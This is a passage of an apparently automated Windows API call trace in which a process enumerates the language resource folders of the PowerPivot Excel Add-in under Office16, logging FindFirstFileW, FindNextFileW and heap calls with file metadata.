ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7abb0bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.098] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0227.099] GetProcessHeap () returned 0xc10000 [0227.099] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.099] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1087", cAlternateFileName="")) returned 1 [0227.099] GetProcessHeap () returned 0xc10000 [0227.099] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.100] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.100] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.100] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.100] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0227.100] GetProcessHeap () returned 0xc10000 [0227.100] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.100] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1110", cAlternateFileName="")) returned 1 [0227.100] GetProcessHeap () returned 0xc10000 [0227.101] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.102] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.102] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.102] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.102] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0227.102] GetProcessHeap () returned 0xc10000 [0227.102] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.102] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0227.102] GetProcessHeap () returned 0xc10000 [0227.102] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0227.103] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.103] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.104] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.104] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0227.104] GetProcessHeap () returned 0xc10000 [0227.104] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.104] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0227.104] GetProcessHeap () returned 0xc10000 [0227.104] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0227.105] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.105] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.105] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.105] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0227.105] GetProcessHeap () returned 0xc10000 [0227.106] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.106] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2074", cAlternateFileName="")) returned 1 [0227.106] GetProcessHeap () returned 0xc10000 [0227.106] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.106] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.106] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.106] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.106] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0227.106] GetProcessHeap () returned 0xc10000 [0227.106] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.107] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0227.107] GetProcessHeap () returned 0xc10000 [0227.107] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.108] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.108] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0227.108] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0227.108] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0227.108] GetProcessHeap () returned 0xc10000 [0227.108] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.108] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9242", cAlternateFileName="")) returned 1 [0227.108] GetProcessHeap () returned 0xc10000 [0227.108] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.110] GetProcessHeap () returned 0xc10000 [0227.110] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.110] GetProcessHeap () returned 0xc10000 [0227.110] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0227.110] GetProcessHeap () returned 0xc10000 [0227.110] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0227.280] GetProcessHeap () returned 0xc10000 [0227.280] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.281] GetProcessHeap () returned 0xc10000 [0227.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0227.296] GetProcessHeap () returned 0xc10000 [0227.296] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.297] GetProcessHeap () returned 0xc10000 [0227.297] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0227.476] GetProcessHeap () returned 0xc10000 [0227.476] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.476] GetProcessHeap () returned 0xc10000 [0227.476] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0227.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, 